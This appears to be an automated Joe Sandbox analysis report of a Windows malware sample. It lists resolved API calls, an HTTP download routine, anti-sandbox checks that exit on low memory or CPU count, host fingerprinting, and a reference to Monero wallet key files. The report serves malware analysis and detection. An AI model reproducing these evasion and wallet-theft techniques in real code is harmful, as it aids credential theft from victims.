GetProcAddress.KERNEL32(77190000,012BD218), ref: 00689F07
GetProcAddress.KERNEL32(77190000,012BD2C0), ref: 00689F1F
GetProcAddress.KERNEL32(77190000,012BD188), ref: 00689F38
GetProcAddress.KERNEL32(77190000,012AFE38), ref: 00689F50
GetProcAddress.KERNEL32(77190000,012BD308), ref: 00689F68
GetProcAddress.KERNEL32(77190000,012BD1A0), ref: 00689F81
GetProcAddress.KERNEL32(77190000,012A5628), ref: 00689F99
GetProcAddress.KERNEL32(77190000,012BD038), ref: 00689FB1
GetProcAddress.KERNEL32(77190000,012A54A8), ref: 00689FCA
GetProcAddress.KERNEL32(77190000,012BD248), ref: 00689FE2
GetProcAddress.KERNEL32(77190000,012BD0B0), ref: 00689FFA
GetProcAddress.KERNEL32(77190000,012A5648), ref: 0068A013
GetProcAddress.KERNEL32(77190000,012A5668), ref: 0068A02B
LoadLibraryA.KERNEL32(012BD2D8,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A03D
LoadLibraryA.KERNEL32(012BD278,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A04E
LoadLibraryA.KERNEL32(012BD290,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A060
LoadLibraryA.KERNEL32(012BD0C8,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A072
LoadLibraryA.KERNEL32(012BD0E0,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A083
LoadLibraryA.KERNEL32(012BD140,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A095
LoadLibraryA.KERNEL32(012BD158,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A0A7
LoadLibraryA.KERNEL32(012BD500,?,00685CA3,00690AEB,?,?,?,?,?,?,?,?,?,?,00690AEA,00690AE3), ref: 0068A0B8
GetProcAddress.KERNEL32(77040000,012A50C8), ref: 0068A0DA
GetProcAddress.KERNEL32(77040000,012BD440), ref: 0068A0F2
GetProcAddress.KERNEL32(77040000,012B8A18), ref: 0068A10A
GetProcAddress.KERNEL32(77040000,012BD5A8), ref: 0068A123
GetProcAddress.KERNEL32(77040000,012A5288), ref: 0068A13B
GetProcAddress.KERNEL32(73D20000,012AA988), ref: 0068A160
GetProcAddress.KERNEL32(73D20000,012A4F88), ref: 0068A179
GetProcAddress.KERNEL32(73D20000,012AA6B8), ref: 0068A191
GetProcAddress.KERNEL32(73D20000,012BD620), ref: 0068A1A9
GetProcAddress.KERNEL32(73D20000,012BD3F8), ref: 0068A1C2
GetProcAddress.KERNEL32(73D20000,012A5068), ref: 0068A1DA
GetProcAddress.KERNEL32(73D20000,012A5368), ref: 0068A1F2
GetProcAddress.KERNEL32(73D20000,012BD3E0), ref: 0068A20B
GetProcAddress.KERNEL32(768D0000,012A4FA8), ref: 0068A22C
GetProcAddress.KERNEL32(768D0000,012A5228), ref: 0068A244
GetProcAddress.KERNEL32(768D0000,012BD380), ref: 0068A25D
GetProcAddress.KERNEL32(768D0000,012BD548), ref: 0068A275
GetProcAddress.KERNEL32(768D0000,012A5028), ref: 0068A28D
GetProcAddress.KERNEL32(75790000,012AA6E0), ref: 0068A2B3
GetProcAddress.KERNEL32(75790000,012AA708), ref: 0068A2CB
GetProcAddress.KERNEL32(75790000,012BD530), ref: 0068A2E3
GetProcAddress.KERNEL32(75790000,012A4FC8), ref: 0068A2FC
GetProcAddress.KERNEL32(75790000,012A5328), ref: 0068A314
GetProcAddress.KERNEL32(75790000,012AA910), ref: 0068A32C
GetProcAddress.KERNEL32(75A10000,012BD3C8), ref: 0068A352
GetProcAddress.KERNEL32(75A10000,012A4FE8), ref: 0068A36A
GetProcAddress.KERNEL32(75A10000,012B88D8), ref: 0068A382
GetProcAddress.KERNEL32(75A10000,012BD410), ref: 0068A39B
GetProcAddress.KERNEL32(75A10000,012BD458), ref: 0068A3B3
GetProcAddress.KERNEL32(75A10000,012A5188), ref: 0068A3CB
GetProcAddress.KERNEL32(75A10000,012A5008), ref: 0068A3E4
GetProcAddress.KERNEL32(75A10000,012BD590), ref: 0068A3FC
GetProcAddress.KERNEL32(75A10000,012BD560), ref: 0068A414
GetProcAddress.KERNEL32(76850000,012A52C8), ref: 0068A436
GetProcAddress.KERNEL32(76850000,012BD5C0), ref: 0068A44E
GetProcAddress.KERNEL32(76850000,012BD5D8), ref: 0068A466
GetProcAddress.KERNEL32(76850000,012BD428), ref: 0068A47F
GetProcAddress.KERNEL32(76850000,012BD470), ref: 0068A497
GetProcAddress.KERNEL32(75690000,012A5148), ref: 0068A4B8
GetProcAddress.KERNEL32(75690000,012A5048), ref: 0068A4D1
GetProcAddress.KERNEL32(769C0000,012A50E8), ref: 0068A4F2
GetProcAddress.KERNEL32(769C0000,012BD3B0), ref: 0068A50A
GetProcAddress.KERNEL32(6F8C0000,012A5128), ref: 0068A530
GetProcAddress.KERNEL32(6F8C0000,012A5248), ref: 0068A548
GetProcAddress.KERNEL32(6F8C0000,012A5268), ref: 0068A560
GetProcAddress.KERNEL32(6F8C0000,012BD4D0), ref: 0068A579
GetProcAddress.KERNEL32(6F8C0000,012A52A8), ref: 0068A591
GetProcAddress.KERNEL32(6F8C0000,012A5108), ref: 0068A5A9
GetProcAddress.KERNEL32(6F8C0000,012A52E8), ref: 0068A5C2
GetProcAddress.KERNEL32(6F8C0000,012A5088), ref: 0068A5DA
GetProcAddress.KERNEL32(6F8C0000,InternetSetOptionA), ref: 0068A5F1
GetProcAddress.KERNEL32(6F8C0000,HttpQueryInfoA), ref: 0068A607
GetProcAddress.KERNEL32(75D90000,012BD578), ref: 0068A629
GetProcAddress.KERNEL32(75D90000,012B8938), ref: 0068A641
GetProcAddress.KERNEL32(75D90000,012BD5F0), ref: 0068A659
GetProcAddress.KERNEL32(75D90000,012BD488), ref: 0068A672
GetProcAddress.KERNEL32(76470000,012A5348), ref: 0068A693
GetProcAddress.KERNEL32(702D0000,012BD608), ref: 0068A6B4
GetProcAddress.KERNEL32(702D0000,012A50A8), ref: 0068A6CD
GetProcAddress.KERNEL32(702D0000,012BD4A0), ref: 0068A6E5
GetProcAddress.KERNEL32(702D0000,012BD4B8), ref: 0068A6FD

Strings

InternetSetOptionA, xrefs: 0068A5E5
HttpQueryInfoA, xrefs: 0068A5FC

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: e3a7467977cb6ec20a88b8e34a7920984bf931d36b9692081575630b2f3a4781
Instruction ID: 15743d4f5d31b53ceaebfcece8217a67905de85274a341da0d85ab06d19b4c42
Opcode Fuzzy Hash: e3a7467977cb6ec20a88b8e34a7920984bf931d36b9692081575630b2f3a4781
Instruction Fuzzy Hash: AC624FB5508200AFC35CDFA8FD8896637F9F74C701714872AA699C3674DB3AA841DF1A

Function 00676280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00674839
Part of subcall function 006747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00674849

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

InternetOpenA.WININET(00690DFE,00000001,00000000,00000000,00000000), ref: 006762E1
StrCmpCA.SHLWAPI(?,012BF3F0), ref: 00676303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00676335
HttpOpenRequestA.WININET(00000000,GET,?,012BEBF8,00000000,00000000,00400100,00000000), ref: 00676385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0067646D
InternetCloseHandle.WININET(00000000), ref: 006764EF
InternetCloseHandle.WININET(00000000), ref: 006764F9
InternetCloseHandle.WININET(00000000), ref: 00676503

Strings

GET, xrefs: 0067637C
ERROR, xrefs: 00676407
ERROR, xrefs: 006764C9

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: b5bef490f1ed27de80546f7ff99f69d69844c77eb91a026494ee025af379bd95
Instruction ID: 125a75d0074880a0b0f1461e88518ce11f0744e8cc78b3d1189d75cbc434d9e4
Opcode Fuzzy Hash: b5bef490f1ed27de80546f7ff99f69d69844c77eb91a026494ee025af379bd95
Instruction Fuzzy Hash: 29715171A00218EBEF24EFE0CC45BEE77B9BB44700F108259F50A6B594DBB46A85CF55

Function 00685510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0068A820: lstrlen.KERNEL32(00674F05,?,?,00674F05,00690DDE), ref: 0068A82B
Part of subcall function 0068A820: lstrcpy.KERNEL32(00690DDE,00000000), ref: 0068A885

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00685644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00685857

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00685228

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 006852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00685318
Part of subcall function 006852C0: lstrlen.KERNEL32(00000000), ref: 0068532F
Part of subcall function 006852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00685364
Part of subcall function 006852C0: lstrlen.KERNEL32(00000000), ref: 00685383
Part of subcall function 006852C0: lstrlen.KERNEL32(00000000), ref: 006853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0068578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00685940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00685A0C
Sleep.KERNEL32(0000EA60), ref: 00685A1B

Strings

ERROR, xrefs: 00685932
ERROR, xrefs: 006859FE
ERROR, xrefs: 00685849
ERROR, xrefs: 00685693
ERROR, xrefs: 0068577D
ERROR, xrefs: 00685636

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 2f874007829561761055307864dc9334e9ba9c61912430fccbbb7a9d109cd85b
Instruction ID: 05816c20202d3405cbda754235e98eaaaffd380f98f535eb5ff49ba7e20549cb
Opcode Fuzzy Hash: 2f874007829561761055307864dc9334e9ba9c61912430fccbbb7a9d109cd85b
Instruction Fuzzy Hash: 29E114B19101049AEB58FBE0DC969ED737EBF54300F50832DB90766591EF386B09CBA6

Function 006817A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006817C5
ExitProcess.KERNEL32 ref: 006817D1

Strings

block, xrefs: 006817B7

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: cba6c9864cab8d05bbb18efd7a9afa05182d9fab39c55b3a9655bcbace23f15f
Instruction ID: daeea9648076416cf399369e855bcf7d28506fcb2e6839c0786725d3259cb7c3
Opcode Fuzzy Hash: cba6c9864cab8d05bbb18efd7a9afa05182d9fab39c55b3a9655bcbace23f15f
Instruction Fuzzy Hash: 6F5184B4A04209EFDF04EFA4D964EBE77BABF45304F104259E8066B740D770E956CB62

Function 00687500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00687542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0068757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687603
RtlAllocateHeap.NTDLL(00000000), ref: 0068760A
wsprintfA.USER32 ref: 00687640

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Strings

:, xrefs: 0068755C
i, xrefs: 0068764D, 00687655, 0068761B, 00687623
\, xrefs: 00687560
C, xrefs: 0068754C

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$i
API String ID: 1544550907-2790019683
Opcode ID: e4b9bda9e51a3064d8908240102591f6c6944f9dad84cd46f5e6fce60fe2b11b
Instruction ID: 526ae371377fa9556a8f040e3bf58cb22c8497036f135a52258ee7de655c5764
Opcode Fuzzy Hash: e4b9bda9e51a3064d8908240102591f6c6944f9dad84cd46f5e6fce60fe2b11b
Instruction Fuzzy Hash: CF4194B1D04248ABDB10EF94DC45BDEBBB9FF18700F100299F50967280DB75AA44CBA5

Function 006869F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B1630), ref: 006898A1
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B15E8), ref: 006898BA
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B1648), ref: 006898D2
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B1678), ref: 006898EA
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B1528), ref: 00689903
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B8A68), ref: 0068991B
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012A5588), ref: 00689933
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012A54C8), ref: 0068994C
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B1690), ref: 00689964
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B16A8), ref: 0068997C
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B17C8), ref: 00689995
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B16D8), ref: 006899AD
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012A56A8), ref: 006899C5
Part of subcall function 00689860: GetProcAddress.KERNEL32(77190000,012B16F0), ref: 006899DE

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 006711D0: ExitProcess.KERNEL32 ref: 00671211

Part of subcall function 00671160: GetSystemInfo.KERNEL32(?), ref: 0067116A
Part of subcall function 00671160: ExitProcess.KERNEL32 ref: 0067117E

Part of subcall function 00671110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0067112B
Part of subcall function 00671110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00671132
Part of subcall function 00671110: ExitProcess.KERNEL32 ref: 00671143

Part of subcall function 00671220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0067123E
Part of subcall function 00671220: __aulldiv.LIBCMT ref: 00671258
Part of subcall function 00671220: __aulldiv.LIBCMT ref: 00671266
Part of subcall function 00671220: ExitProcess.KERNEL32 ref: 00671294

Part of subcall function 00686770: GetUserDefaultLangID.KERNEL32 ref: 00686774

Part of subcall function 00671190: ExitProcess.KERNEL32 ref: 006711C6

Part of subcall function 00687850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006711B7), ref: 00687880
Part of subcall function 00687850: RtlAllocateHeap.NTDLL(00000000), ref: 00687887
Part of subcall function 00687850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0068789F

Part of subcall function 006878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687910
Part of subcall function 006878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00687917
Part of subcall function 006878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0068792F

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012B8908,?,0069110C,?,00000000,?,00691110,?,00000000,00690AEF), ref: 00686ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00686AE8
CloseHandle.KERNEL32(00000000), ref: 00686AF9
Sleep.KERNEL32(00001770), ref: 00686B04
CloseHandle.KERNEL32(?,00000000,?,012B8908,?,0069110C,?,00000000,?,00691110,?,00000000,00690AEF), ref: 00686B1A
ExitProcess.KERNEL32 ref: 00686B22

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: ab5ea9dae182d30677c9c83785e85f56ac16ae4358ce7a1ce11fffea60244206
Instruction ID: 280f175798250a264a6b0f103319da8f61eab057a0935bc6cab3330a8e3347dc
Opcode Fuzzy Hash: ab5ea9dae182d30677c9c83785e85f56ac16ae4358ce7a1ce11fffea60244206
Instruction Fuzzy Hash: 52316F70904208AAEB48F7F0DC56BEE777ABF04300F10471DF612A6192DF746A01C7AA

Function 00671220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0067123E
__aulldiv.LIBCMT ref: 00671258
__aulldiv.LIBCMT ref: 00671266
ExitProcess.KERNEL32 ref: 00671294

Strings

@, xrefs: 00671233

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
